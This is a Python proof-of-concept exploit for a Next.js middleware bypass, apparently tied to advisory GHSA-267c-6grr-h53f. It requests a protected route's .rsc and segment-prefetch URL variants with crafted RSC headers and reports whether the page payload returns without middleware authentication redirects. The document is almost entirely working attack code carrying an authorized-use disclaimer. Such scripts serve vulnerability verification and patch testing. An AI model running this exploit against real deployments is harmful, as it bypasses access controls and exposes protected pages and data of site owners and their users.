#!/usr/bin/env python3 # Disclaimer: For authorized security research and educational use only. # Do not use this tool on systems you do not own or have explicit written # permission to test. """ GHSA-267c-6grr-h53f — Middleware bypass via App Router segment-prefetch URLs =========================================================================== Usage: TARGET=http://localhost:3000 python3 exploit.py TARGET=http://localhost:3000 PROTECTED_PATH=/admin python3 exploit.py Background ---------- Next.js compiles `matcher` config in middleware.ts into a regex that decides whether middleware runs for a request. Up to v16.2.4 that regex covered only the canonical path and the Pages-Router data variant (`.json`). It did NOT cover the App-Router transport variants: *.rsc (full-route prefetch) *.segments/$c$children/__PAGE__.segment.rsc (segment-prefetch) However the App Router still dispatches all of those URL shapes to the same page handler — so requesting them returns the protected page's payload while bypassing middleware entirely. """ import os import sys import urllib.request import urllib.error # ---- helpers --------------------------------------------------------------- R, G, Y, B, N = "\033[0;31m", "\033[0;32m", "\033[1;33m", "\033[0;34m", "\033[0m" def fetch(url, headers=None, timeout=15): """Fetch ``url`` with ``headers`` and return (status, headers_dict, body).""" headers = headers or {} req = urllib.request.Request(url, headers=headers, method="GET") # We do NOT follow redirects — the redirect is the security signal we # want to observe. opener = urllib.request.build_opener(NoRedirect()) try: with opener.open(req, timeout=timeout) as resp: return resp.status, dict(resp.getheaders()), resp.read(4096) except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read(4096) except Exception as e: # noqa: BLE001 print(f"{R} network error: {e}{N}") return 0, {}, b"" class NoRedirect(urllib.request.HTTPRedirectHandler): def redirect_request(self, *_a, **_kw): return None def header(d, name): """Case-insensitive header lookup.""" for k, v in d.items(): if k.lower() == name.lower(): return v return "" # ---- main ------------------------------------------------------------------ def main(): target = os.environ.get("TARGET", "http://localhost:3000").rstrip("/") protected = os.environ.get("PROTECTED_PATH", "/dashboard") print(f"{B}{'=' * 60}{N}") print(f"{B} GHSA-267c-6grr-h53f — segment-prefetch middleware bypass {N}") print(f"{B}{'=' * 60}{N}") print(f" Target : {target}") print(f" Protected path : {protected}\n") # ---- step 1: baseline ------------------------------------------------ print(f"{Y}[1/4] Baseline — canonical path GET {protected}{N}") base_code, base_h, _ = fetch(target + protected) print(f" HTTP {base_code} Location: {header(base_h, 'location') or '(none)'}") middleware_active = base_code in (301, 302, 303, 307, 308, 401, 403) if middleware_active: print(f" {G}✓ Middleware appears to gate the canonical path{N}\n") else: print(f" {Y}! Canonical path returned {base_code} — middleware may not " f"be enforcing.{N}\n") # ---- step 2: .rsc transport variant ---------------------------------- print(f"{Y}[2/4] Bypass #1 — .rsc transport variant{N}") rsc_url = target + protected + ".rsc" print(f" GET {protected}.rsc") rsc_code, rsc_h, rsc_body = fetch(rsc_url, headers={ # Headers Next.js' own client sends for an RSC fetch: "RSC": "1", # mark as RSC request "Next-Router-Prefetch": "1", # mark as prefetch "Next-Router-State-Tree": '["",{}]', # minimal valid tree "Accept": "text/x-component", }) rsc_ct = header(rsc_h, "content-type") print(f" HTTP {rsc_code} Content-Type: {rsc_ct}") if header(rsc_h, "location"): print(f" Location: {header(rsc_h, 'location')}") print() # ---- step 3: .segments/.../.segment.rsc ----------------------------- print(f"{Y}[3/4] Bypass #2 — segment-prefetch transport variant{N}") seg_path = protected + ".segments/$c$children/__PAGE__.segment.rsc" seg_url = target + seg_path print(f" GET {seg_path}") seg_code, seg_h, seg_body = fetch(seg_url, headers={ "RSC": "1", # The segment-prefetch header signals which subtree is requested. "Next-Router-Segment-Prefetch": "/__PAGE__", "Accept": "text/x-component", }) seg_ct = header(seg_h, "content-type") print(f" HTTP {seg_code} Content-Type: {seg_ct}") if header(seg_h, "location"): print(f" Location: {header(seg_h, 'location')}") print() # ---- step 4: verdict ------------------------------------------------- print(f"{Y}[4/4] Verdict{N}") bypass = False if middleware_active: if rsc_code == 200 and "text/x-component" in rsc_ct: print(f" {R}✗ VULNERABLE — .rsc variant returned the page payload" f" without middleware intervention.{N}") bypass = True if seg_code == 200 and "text/x-component" in seg_ct: print(f" {R}✗ VULNERABLE — segment-prefetch variant returned the" f" page payload without middleware intervention.{N}") bypass = True if bypass: print(f"\n{R}>>> RESULT: PASS (vulnerability reproduced) <<<{N}") print(" Server is running Next.js ≤ v16.2.4 (matcher regex gap).") sys.exit(0) print(f" {G}✓ PATCHED — transport variants were gated like the canonical" f" path.{N}") print(f"\n{G}>>> RESULT: FAIL (target appears patched ≥ v16.2.5) <<<{N}") sys.exit(1) if __name__ == "__main__": main()